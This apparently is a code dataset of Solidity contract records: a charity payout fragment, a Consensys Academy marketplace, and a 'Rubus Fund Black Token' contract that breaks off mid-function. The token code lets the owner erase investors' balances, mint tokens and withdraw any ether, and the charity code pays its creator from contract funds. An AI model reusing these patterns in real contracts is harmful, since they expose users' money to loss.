function EditInformationOfPerson(address _adr, string memory _name, uint256 _needval , uint64 _natcode) public OnlyOwnerc returns(bool) {
require(Aperson[_adr].exists , "He/She Not Exist" );
Aperson[_adr] = personX(_adr, _name, (_needval * oneWei) , _natcode , true);
emit EditinformationEvent(_adr, _needval * oneWei, _natcode );
if(Aperson[persons[0]].exists){
for(uint i=0; i< persons.length; i++){
if(someval >= Aperson[persons[i]].needval){
(payable(persons[i])).transfer(Aperson[persons[i]].needval);
emit WithdrawEvent(Aperson[persons[i]].adrs, Aperson[persons[i]].needval , Aperson[persons[i]].natcode);
delete Aperson[persons[i]];
persons = removear(persons, i);
someval = address(this).balance;
i--;
}else{
break;
}
}
}
return true;
}
function WhoisPersonWorldasAdddress(address _adr) public view returns(uint256, uint64){
require(Aperson[_adr].exists);
return ((Aperson[_adr].needval) , (Aperson[_adr].natcode));
}
function WhoisPersonjustOwner(address _adr) OnlyOwnerc public view returns(string memory, uint256, uint64){
require(Aperson[_adr].exists);
return (Aperson[_adr].name_family, Aperson[_adr].needval, Aperson[_adr].natcode);
}
function WhoisFirstPersonWorld() public view returns(address,uint64, uint256){
require(Aperson[persons[0]].exists);
return ((Aperson[persons[0]].adrs), (Aperson[persons[0]].natcode) , (Aperson[persons[0]].needval));
}
function WhoisOwner() public view returns(address){
return owner;
}
function WhoisCreator() public view returns(address){
return creator;
}
function HowMuchBalance() public view returns(uint256){
return address(this).balance;
}
function ChangeOwner(address _newOwenr) public OnlyOwnerc {
_TransferOwner(_newOwenr);
}
function _TransferOwner(address _newOwner) internal {
require(_newOwner != address(0), "Ownable: new owner is the zero address");
emit ChangeOwnerEvent(owner, _newOwner);
owner = payable(_newOwner);
}
function ChangeCreator(address _newCreator) public OnlyCreator {
_TransferCreator(_newCreator);
}
function _TransferCreator(address _newCreator) internal {
require(_newCreator != address(0), "Ownable: new owner is the zero address");
emit ChangeCreatorEvent(creator, _newCreator);
creator = payable(_newCreator);
}
function removear(address[] memory array, uint _index) internal pure returns(address[] memory value) {
require( !(_index >= array.length));
address[] memory arrayNew = new address[](array.length-1);
for (uint i = 0; i<arrayNew.length; i++){
if(i != _index && i<_index){
arrayNew[i] = array[i];
} else {
arrayNew[i] = array[i+1];
}
}
delete array;
return arrayNew;
}
}
|
require(msg.value >= _amount && _amount != 0 ,"You Haven't Enough in your Wallet");
|
function PayCharity() payable public returns (bool) {
require(Aperson[persons[0]].exists, "Nobody for help, Thank you");
if(feeforcreator){
creator.transfer(gasleft() * tx.gasprice);
}
someval = address(this).balance;
emit PayCharityEvent(msg.sender, msg.value);
for(uint i=0; i< persons.length; i++){
if(someval >= Aperson[persons[i]].needval){
(payable(persons[i])).transfer(Aperson[persons[i]].needval);
emit WithdrawEvent(Aperson[persons[i]].adrs, Aperson[persons[i]].needval , Aperson[persons[i]].natcode);
delete Aperson[persons[i]];
persons = removear(persons, i);
someval = address(this).balance;
i--;
break;
}
}
return true;
}
| 6,342,774 |
pragma solidity ^0.5.0;
import 'openzeppelin-solidity/contracts/ownership/Ownable.sol';
import { SafeMath } from 'openzeppelin-solidity/contracts/math/SafeMath.sol';
/**
* @title Marketplace contract to sell, buy and withdraw funds
* @author Jesús Lanchas
* @notice This contract belongs to a final project in the Developer Program 2018 @ Consensys Academy
* @dev All outcome values in transaction methods are included in events
*/
contract Marketplace is Ownable {
enum Roles { ADMIN, SELLER, BUYER }
// Circuit breaker
bool public stopped = false;
// Limit to avoid out of gas issue iterating on items
uint8 public constant MAX_ITEMS_PER_STORE = 10;
// To know the role of a specific user
mapping(address => Roles) roles;
mapping(address => bool) privilegedUsers;
// Stores owned by sellers
mapping(address => Empire) empires;
address[] sellers;
// Payments
mapping (address => uint) pendingFunds;
// Structs
struct Empire {
mapping(bytes32 => Store) stores;
bytes32[] storesIds;
}
struct Store {
bytes32 storeId;
address seller;
string name;
mapping(uint => Item) items;
uint[] skus;
}
struct Item {
uint sku;
uint skuIndex; // position of this item in the array store.items
string name;
uint price;
uint availableNumItems;
}
// Management events
event SellerAdded(address newSeller);
event SellerRemoved(address oldSeller);
event AdminAdded(address newAdmin);
event AdminRemoved(address oldAdmin);
// Business events
event StoreCreated(address seller, string name, bytes32 storeId);
event StoreRemoved(address seller, bytes32 storeId);
event ItemCreated(address seller, bytes32 storeId, uint sku, string name, uint price, uint availableNumItems);
event ItemRemoved(address seller, bytes32 storeId, uint sku);
event ItemEdited(address seller, bytes32 storeId, uint sku, string name, uint price, uint availableNumItems);
event ItemPurchased(address seller, bytes32 storeId, uint sku, uint numPurchasedItems, uint newAvailableNumItems);
/* Roles modifiers */
/**
* @notice Require the address `msg.sender` to be a valid admin in the contract.
*/
modifier isAdmin () { require (privilegedUsers[msg.sender] && roles[msg.sender] == Roles.ADMIN, 'User must have the ADMIN role'); _;}
/**
* @notice Require the addres `msg.sender` to be a valid seller in the contract.
*/
modifier isSeller () { require (privilegedUsers[msg.sender] && roles[msg.sender] == Roles.SELLER, 'User must have the SELLER role'); _;}
/**
* @notice Require the address `_address` to be a buyer.
* @dev An address is considered a buyer is it is not an admin neither a seller.
*/
modifier isBuyer (address _address) { require (!privilegedUsers[_address], 'User must be a buyer'); _;}
// Ownership modifiers
/**
* @notice Require the address `msg.sender` to be the owner of the store whose id is `storeId`
*/
modifier isSellerOwner (bytes32 storeId) { require(empires[msg.sender].stores[storeId].storeId != 0, 'User must be the owner of the store'); _; }
/**
* Require the address `msg.sender` to be the owner of the store whose id is `storeId` and where the item with sku `sku` is been sold
*/
modifier isItemSeller (bytes32 storeId, uint sku) {
require (
empires[msg.sender].stores[storeId].storeId != 0
&& empires[msg.sender].stores[storeId].items[sku].sku != 0, 'User must be the owner of store where the item is sold');
_;
}
// Circuit breaker
/**
* Require the contrat not to be in emergency
*/
modifier stopInEmergency { require(!stopped, 'Contract in emergency mode'); _; }
/**
* @notice Toggle the emergency state of the contract. Only the owner can do this
*/
function toggleContractActive() public onlyOwner {
stopped = !stopped;
}
/* Managing permissions */
/**
* @notice Getting the current role of the sender in the contract
* @return The enum value of Roles associated with the sender of the message
* @dev A no privileged user is considered a buyer. Owner is not a role in the contract
*/
function getRole() public view returns(Roles) {
return privilegedUsers[msg.sender] ? roles[msg.sender] : Roles.BUYER;
}
/**
* @notice Add the address `newAdmin` in the list of admins
* @param newAdmin The address that we want to include as Admin in the contract
* @dev Event emitted on success: AdminAdded
*/
function addAdmin(address newAdmin) public stopInEmergency onlyOwner {
roles[newAdmin] = Roles.ADMIN;
privilegedUsers[newAdmin] = true;
emit AdminAdded(newAdmin);
}
/**
* @notice Remove the addres `oldAdmin` from the list of valid admins
* @param oldAdmin The address that we want to remove from the list of admins
* @dev Event emitted: AdminRemoved
*/
function removeAdmin(address oldAdmin) public stopInEmergency onlyOwner {
delete roles[oldAdmin];
delete privilegedUsers[oldAdmin];
emit AdminRemoved(oldAdmin);
}
/**
* @notice Add the address `newAddress` to the list of valid sellers
* @param newSeller The address that we want to add as seller
* @dev Event emitted: SellerAdded
*/
function addSeller(address newSeller) public stopInEmergency isAdmin isBuyer(newSeller) {
roles[newSeller] = Roles.SELLER;
privilegedUsers[newSeller] = true;
sellers.push(newSeller);
emit SellerAdded(newSeller);
}
/**
* @notice Remove the seller set at index `sellerIndex` as seller in the contract, transforming it into a buyer. The pending funds will be kept.
* @dev This operation changes the order in the sellers array. Event emitted: SellerRemoved
* @param sellerIndex The index of the seller in the array of sellers, of the seller that we want to remove
*/
function removeSeller(uint sellerIndex) public stopInEmergency isAdmin {
// Soft control, we don't require the existance of the seller...
require(sellerIndex >= 0 && sellerIndex < sellers.length, 'Seller index is out of bound');
address sellerAddress = sellers[sellerIndex];
// Soft control, we don't require the existance of the seller...
if (privilegedUsers[sellerAddress] && roles[sellerAddress] == Roles.SELLER) {
// Delete from the maps
delete roles[sellerAddress];
delete privilegedUsers[sellerAddress];
// Delete from array
// Removing and compacting an item in an array: https://github.com/su-squares/ethereum-contract/blob/master/contracts/SuNFT.sol#L296
if (sellers.length > 1 && sellerIndex != sellers.length - 1) {
sellers[sellerIndex] = sellers[sellers.length - 1];
}
sellers.length--;
emit SellerRemoved(sellerAddress);
}
}
/**
* @notice Return the number of sellers in the contract
* @dev It's based on the array of sellers, not in the pending funds
* @return The number of sellers in the contract
*/
function getNumberOfSellers() public view returns(uint) {
return sellers.length;
}
/**
* @notice Return the address of seller set in the position `sellerIndex`
* @param sellerIndex The index of the seller whose address we want to get
* @return The seller address in position sellerIndex
*/
function getSellerAddress(uint sellerIndex) public view returns(address) {
require(sellerIndex >= 0 && sellerIndex < sellers.length, 'Out of bound index');
return sellers[sellerIndex];
}
/* Managing stores */
/**
* @notice Add a new store associated to the addres `msg.sender`, with name `name`
* @dev The storeId is generated internally with keccak256. Event emitted: StoreCreated
* @param name The name to set to the created store
*/
function addStore(string memory name) public stopInEmergency isSeller {
require(bytes(name).length > 0, 'The name of the store must not be empty');
bytes32 storeId = keccak256(abi.encodePacked(msg.sender, name));
require(empires[msg.sender].stores[storeId].storeId == 0, 'The seller must not have two stores with the same name');
Empire storage empire = empires[msg.sender];
empire.stores[storeId] = Store({ storeId: storeId, seller: msg.sender, name: name, skus: new uint[](0) });
empire.storesIds.push(storeId);
emit StoreCreated(msg.sender, name, storeId);
}
/**
* @notice Remove the store with storeId `storeId`, set in position `storeIndex`.
* @dev empire.storesIds[storeIndex] must be equals to storeId. The only reason to accept the two params is efficiency.
* @dev Store's items are deleted in a for-loop, so if the number of items is too high this could be an issue. For that reason we limit the number of items in a store to `MAX_ITEMS_PER_STORE`
* @param storeId The id of the store to remove
* @param storeIndex The index of the store, in the array of stores, that we want to remove
*/
function removeStore(bytes32 storeId, uint storeIndex) public stopInEmergency isSeller isSellerOwner(storeId) {
Empire storage empire = empires[msg.sender];
Store storage store = empires[msg.sender].stores[storeId];
require(empire.storesIds[storeIndex] == storeId, 'The storeId provided is not coherent with the store index passed');
// Removing items associated with the store - This could generate a gas problem if the number of items is too high
for(uint skuIndex = 0; skuIndex < store.skus.length; skuIndex++) {
delete store.items[store.skus[skuIndex]];
}
// Removing the store
delete empire.stores[storeId];
// Removing and compacting an item in an array: https://github.com/su-squares/ethereum-contract/blob/master/contracts/SuNFT.sol#L296
if (empire.storesIds.length > 1 && storeIndex != empire.storesIds.length - 1) {
empire.storesIds[storeIndex] = empire.storesIds[empire.storesIds.length - 1];
}
delete empire.storesIds[empire.storesIds.length - 1];
empire.storesIds.length--;
emit StoreRemoved(msg.sender, storeId);
}
/**
* @notice Return the number of stores associated with the address `seller`
* @param seller The address whose number of stores we want to get
* @return The number of stores of the seller passed as parameter
*/
function getNumberOfStores(address seller) public view returns(uint) {
Empire storage empire = empires[seller];
return empire.storesIds.length;
}
/**
* @notice Return the storeId of the store of `seller` set in position `storeIndex`
* @param seller The address of the store's owner whose id we want to get
* @param storeIndex The index of the store, among the stores of the owner, whose storeId we want to get
*/
function getStoreId(address seller, uint storeIndex) public view returns(bytes32) {
return empires[seller].storesIds[storeIndex];
}
/**
* @notice Returns the name of the store and the number of items in it
* @param seller The address of the store's owner whose metadata we want to get
* @param storeId The store id of te store whose metadata we want to get
*/
function getStoreMetadata(address seller, bytes32 storeId) public view returns(string memory, uint) {
Store storage store = empires[seller].stores[storeId];
return (store.name, store.skus.length);
}
/* Managing items */
/**
* @notice Create and add a new item in the store whose storeId is passed as parameter
* @param storeId The store id where we want to add a new item
* @param sku The SKU of the item to create. Important: this field is not editable
* @param name The name of the item to create
* @param price The unitary price of the item to create
* @param availableNumItems The number of items available to sell
* @dev Event emitted: ItemCreated
*/
function addItem(bytes32 storeId, uint sku, string memory name, uint price, uint availableNumItems)
public
stopInEmergency
isSeller
isSellerOwner(storeId) {
Store storage store = empires[msg.sender].stores[storeId];
require(store.skus.length <= MAX_ITEMS_PER_STORE, 'You have reach the max number of items per store');
// Checking that there aren't any item with the same sku in the store
require(store.items[sku].sku == 0, 'SKU must be unique for a store');
require(price > 0, 'Price must be a positive number');
require(availableNumItems >= 0, 'Available items must be a positive number or zero');
store.items[sku] = Item({ sku: sku, skuIndex: store.skus.length, name: name, price: price, availableNumItems: availableNumItems });
store.skus.push(sku);
emit ItemCreated(msg.sender, store.storeId, sku, name, price, availableNumItems);
}
/**
* @notice Update the item in the store with storeId `storeId` and whose sku is `sku`
* @param storeId The storeId where the item to update is located
* @param sku The sku of the item to update
* @param name The new name to set in the item
* @param price The new price to set in the item
* @param availableNumItems The new available amount to set in the item
* @dev Event emitted: ItemEdited
*/
function editItem(bytes32 storeId, uint sku, string memory name, uint price, uint availableNumItems)
public
stopInEmergency
isSeller
isItemSeller(storeId, sku) {
Store storage store = empires[msg.sender].stores[storeId];
require(price > 0, 'Price must be a positive number');
require(availableNumItems >= 0, 'Available items must be a positive number or zero');
store.items[sku] = Item({ sku: sku, skuIndex: store.items[sku].skuIndex, name: name, price: price, availableNumItems: availableNumItems });
emit ItemEdited(msg.sender, store.storeId, sku, name, price, availableNumItems);
}
/**
* @notice Return the number of items from the seller `seller` in the store `storeId`
* @param seller The address of the seller to consider
* @param storeId The id of the store to consider
* @return The number of items in the store
* @dev It will return zero if the seller or the store don't exist
*/
function getNumberOfItems(address seller, bytes32 storeId) public view returns(uint) {
Empire storage empire = empires[seller];
return empire.stores[storeId].skus.length;
}
/**
* @notice Return the SKU of the item set in the position `skuIndex`, in the store with id `storeId` of the seller `seller`
* @param seller The seller of the item
* @param storeId The id of the store where the item is located
* @param skuIndex The position of the item in the array of items associated with the store
* @return The SKU of the item
* @dev It'll return zero if the item, the store, or the seller don't exist
*/
function getSku(address seller, bytes32 storeId, uint skuIndex) public view returns(uint) {
return empires[seller].stores[storeId].skus[skuIndex];
}
/**
* @notice Return the metadata associated with the sku `sku`, in the store `storeId`, of the seller `seller`
* @param seller The owner of the item whose metadata we want to get
* @param storeId The id of the store were the item is located
* @param sku The sku of the item whose metadata we want to get
* @return The name, price and availableNumItems attributes of the item
* @dev The return values will have default values if the item, the store or the seller don't exist
*/
function getItemMetadata(address seller, bytes32 storeId, uint sku)
public
view
returns(string memory, uint, uint) {
Item storage item = empires[seller].stores[storeId].items[sku];
return (item.name, item.price, item.availableNumItems);
}
/**
* @notice Remove the item with sku `sku` from a store with id `storeId`
* @param storeId The id of the store where the item to remove is located
* @param sku The sku of the item to remove
* @dev Event emitted: ItemRemoved
*/
function removeItem(bytes32 storeId, uint sku)
public
stopInEmergency
isSeller
isItemSeller(storeId, sku) {
Store storage store = empires[msg.sender].stores[storeId];
uint skuIndex = store.items[sku].skuIndex;
require(skuIndex < store.skus.length, 'SKU not found in item list');
// Delete from map
delete store.items[sku];
// Delete from array
// Removing and compacting an item in an array: https://github.com/su-squares/ethereum-contract/blob/master/contracts/SuNFT.sol#L296
if (store.skus.length > 1 && skuIndex != store.skus.length - 1) {
store.skus[skuIndex] = store.skus[store.skus.length - 1];
store.items[store.skus[skuIndex]].skuIndex = skuIndex; // Updating the double link
}
// delete store.skus[store.skus.length - 1];
store.skus.length--;
emit ItemRemoved(msg.sender, storeId, sku);
}
/**
* @notice Purchase `numPurchasedItems` items with sku `sku`, in the store with id `storeId`, of the seller `seller`. It expects the exact value.
* @param seller The owner of the item to purchase
* @param storeId The id of the store where the item is located
* @param sku The sku of the item to purchase
* @param numPurchasedItems The number of items to purchase. It must be greater than the available number of items
* @dev msg.value must be exactly equals to item.price * numPurchasedItems. The funds will be avaiable to the seller (Withdrawal pattern)
*/
function purchaseItem(address seller, bytes32 storeId, uint sku, uint numPurchasedItems)
public
payable
stopInEmergency
isBuyer(msg.sender) {
Store storage store = empires[seller].stores[storeId];
// The item must exist
require (store.storeId != 0, 'Store must exist');
require (store.items[sku].sku != 0, 'Item must be in the store');
Item storage item = store.items[sku];
// There must be enough number of items, and at least 1
require (numPurchasedItems > 0 && item.availableNumItems >= numPurchasedItems, 'Invalid number of items to purchase');
// Sent value must be, exactly, equals to the price * numPurchasedItems
require (msg.value == item.price * numPurchasedItems, 'Invalid value in the message');
// Updating the storage
item.availableNumItems -= numPurchasedItems;
pendingFunds[seller] = SafeMath.add(pendingFunds[seller], msg.value);
emit ItemPurchased(seller, store.storeId, item.sku, numPurchasedItems, item.availableNumItems);
}
/**
* @notice Withdraw funds from the contract to `msg.sender`, considering the pending funds saved in the contact
* @dev Nothing is executed after transfer the value, to avoid reentrancy
*/
function withdraw() public isSeller {
uint amount = pendingFunds[msg.sender];
pendingFunds[msg.sender] = 0;
msg.sender.transfer(amount);
}
/**
* @notice Return the value of pending funds associated with `msg.sender`
* @dev Only sellers can do this
* @return the value, in wei, pending for the sender
*/
function getPendingFunds() public view isSeller returns(uint) {
return pendingFunds[msg.sender];
}
}
|
Return the value of pending funds associated with `msg.sender` Only sellers can do this return the value, in wei, pending for the sender/
|
function getPendingFunds() public view isSeller returns(uint) {
return pendingFunds[msg.sender];
}
| 6,423,971 |
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(
address previousOwner,
address newOwner
);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner || msg.sender == address(this));
_;
}
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause(bool isPause);
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause(paused);
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Pause(paused);
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic, Pausable {
using SafeMath for uint256;
mapping(address => uint256) balances;
struct Purchase {
uint unlockTokens;
uint unlockDate;
}
mapping(address => Purchase[]) balancesLock;
uint256 totalSupply_;
address public rubusBlackAddress;
uint256 public priceEthPerToken;
uint256 public depositCommission;
uint256 public withdrawCommission;
uint256 public investCommission;
address public depositWallet;
address public withdrawWallet;
address public investWallet;
bool public lock;
uint256 public minimalEthers;
uint256 public lockTokensPercent;
uint256 public lockTimestamp;
event Deposit(address indexed buyer, uint256 weiAmount, uint256 tokensAmount, uint256 tokenPrice, uint256 commission);
event Withdraw(address indexed buyer, uint256 weiAmount, uint256 tokensAmount, uint256 tokenPrice, uint256 commission);
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) whenNotPaused public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(_value <= checkVesting(msg.sender));
if (_to == rubusBlackAddress) {
require(!lock);
uint256 weiAmount = _value.mul(withdrawCommission).div(priceEthPerToken);
require(weiAmount <= uint256(address(this).balance));
totalSupply_ = totalSupply_.sub(_value);
msg.sender.transfer(weiAmount);
withdrawWallet.transfer(weiAmount.mul(uint256(100).sub(withdrawCommission)).div(100));
emit Withdraw(msg.sender, weiAmount, _value, priceEthPerToken, withdrawCommission);
} else {
balances[_to] = balances[_to].add(_value);
}
balances[msg.sender] = balances[msg.sender].sub(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function getPurchases(address sender, uint index) public view returns(uint, uint) {
return (balancesLock[sender][index].unlockTokens, balancesLock[sender][index].unlockDate);
}
function checkVesting(address sender) public view returns (uint256) {
uint256 availableTokens = 0;
for (uint i = 0; i < balancesLock[sender].length; i++) {
(uint lockTokens, uint lockTime) = getPurchases(sender, i);
if(now >= lockTime) {
availableTokens = availableTokens.add(lockTokens);
}
}
return availableTokens;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return checkVesting(_owner);
}
function balanceOfUnlockTokens(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_value <= checkVesting(_from));
if (_to == rubusBlackAddress) {
require(!lock);
uint256 weiAmount = _value.mul(withdrawCommission).div(priceEthPerToken);
require(weiAmount <= uint256(address(this).balance));
totalSupply_ = totalSupply_.sub(_value);
msg.sender.transfer(weiAmount);
withdrawWallet.transfer(weiAmount.mul(uint256(100).sub(withdrawCommission)).div(100));
emit Withdraw(msg.sender, weiAmount, _value, priceEthPerToken, withdrawCommission);
} else {
balances[_to] = balances[_to].add(_value);
}
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract RubusFundBlackToken is StandardToken {
string constant public name = "Rubus Fund Black Token";
uint256 constant public decimals = 18;
string constant public symbol = "RTB";
event Lock(bool lockStatus);
event DeleteTokens(address user, uint256 tokensAmount);
event AddTokens(address user, uint256 tokensAmount);
event NewTokenPrice(uint256 tokenPrice);
event GetWei(uint256 weiAmount);
event AddWei(uint256 weiAmount);
event DepositCommission(uint256 deposit);
event InvestCommission(uint256 invest);
event WithdrawCommission(uint256 withdraw);
event DepositWallet(address deposit);
event InvestWallet(address invest);
event WithdrawWallet(address withdraw);
constructor() public {
rubusBlackAddress = address(this);
setNewPrice(33333);
lockUp(false);
newDepositCommission(100);
newInvestCommission(80);
newWithdrawCommission(100);
newMinimalEthers(500000000000000000);
newTokenUnlockPercent(100);
newLockTimestamp(2592000);
newDepositWallet(0x73D5f035B8CB58b4aF065d6cE49fC8E7288536F3);
newInvestWallet(0xf0EF10870308013903bd6Dc8f86E7a7EAF1a86Ab);
newWithdraWallet(0x7c4C8b371d4348f7A1fd2e76f05aa60846b442DD);
}
function _lockPaymentTokens(address sender, uint _amount, uint _date) internal {
balancesLock[sender].push(Purchase(_amount, _date));
}
function () payable external whenNotPaused {
require(msg.value >= minimalEthers);
uint256 tokens = msg.value.mul(depositCommission).mul(priceEthPerToken).div(10000);
totalSupply_ = totalSupply_.add(tokens);
uint256 lockTokens = tokens.mul(100).div(lockTokensPercent);
// balancesLock[msg.sender] = balancesLock[msg.sender].add(tokens);
_lockPaymentTokens(msg.sender, lockTokens, now.add(lockTimestamp));
balances[msg.sender] = balances[msg.sender].add(tokens);
investWallet.transfer(msg.value.mul(investCommission).div(100));
depositWallet.transfer(msg.value.mul(uint256(100).sub(depositCommission)).div(100));
emit Transfer(rubusBlackAddress, msg.sender, tokens);
emit Deposit(msg.sender, msg.value, tokens, priceEthPerToken, depositCommission);
}
function getWei(uint256 weiAmount) external onlyOwner {
owner.transfer(weiAmount);
emit GetWei(weiAmount);
}
function addEther() payable external onlyOwner {
emit AddWei(msg.value);
}
function airdrop(address[] receiver, uint256[] amount) external onlyOwner {
require(receiver.length > 0 && receiver.length == amount.length);
for(uint256 i = 0; i < receiver.length; i++) {
uint256 tokens = amount[i];
totalSupply_ = totalSupply_.add(tokens);
balances[receiver[i]] = balances[receiver[i]].add(tokens);
emit Transfer(address(this), receiver[i], tokens);
emit AddTokens(receiver[i], tokens);
}
}
function deleteInvestorTokens(address[] user, uint256[] amount) external onlyOwner {
require(user.length > 0 && user.length == amount.length);
for(uint256 i = 0; i < user.length; i++) {
uint256 tokens = amount[i];
require(tokens <= balances[user[i]]);
totalSupply_ = totalSupply_.sub(tokens);
balances[user[i]] = balances[user[i]].sub(tokens);
emit Transfer(user[i], address(this), tokens);
emit DeleteTokens(user[i], tokens);
}
}
function setNewPrice(uint256 _ethPerToken) public onlyOwner {
priceEthPerToken = _ethPerToken;
emit NewTokenPrice(priceEthPerToken);
}
function newDepositCommission(uint256 _newDepositCommission) public onlyOwner {
depositCommission = _newDepositCommission;
emit DepositCommission(depositCommission);
}
function newInvestCommission(uint256 _newInvestCommission) public onlyOwner {
investCommission = _newInvestCommission;
emit InvestCommission(investCommission);
}
function newWithdrawCommission(uint256 _newWithdrawCommission) public onlyOwner {
withdrawCommission = _newWithdrawCommission;
emit WithdrawCommission(withdrawCommission);
}
function newDepositWallet(address _depositWallet) public onlyOwner {
depositWallet = _depositWallet;
emit DepositWallet(depositWallet);
}
function newInvestWallet(address _investWallet) public onlyOwner {
investWallet = _investWallet;
emit InvestWallet(investWallet);
}
function newWithdraWallet(address _withdrawWallet) public onlyOwner {
withdrawWallet = _withdrawWallet;
emit WithdrawWallet(withdrawWallet);
}
function lockUp(bool _lock) public onlyOwner {
lock = _lock;
emit Lock(lock);
}
function newMinimalEthers(uint256 _weiAMount) public onlyOwner {
minimalEthers = _weiAMount;
}
function newTokenUnlockPercent(uint256 _lockTokensPercent) public onlyOwner {
lockTokensPercent = _lockTokensPercent;
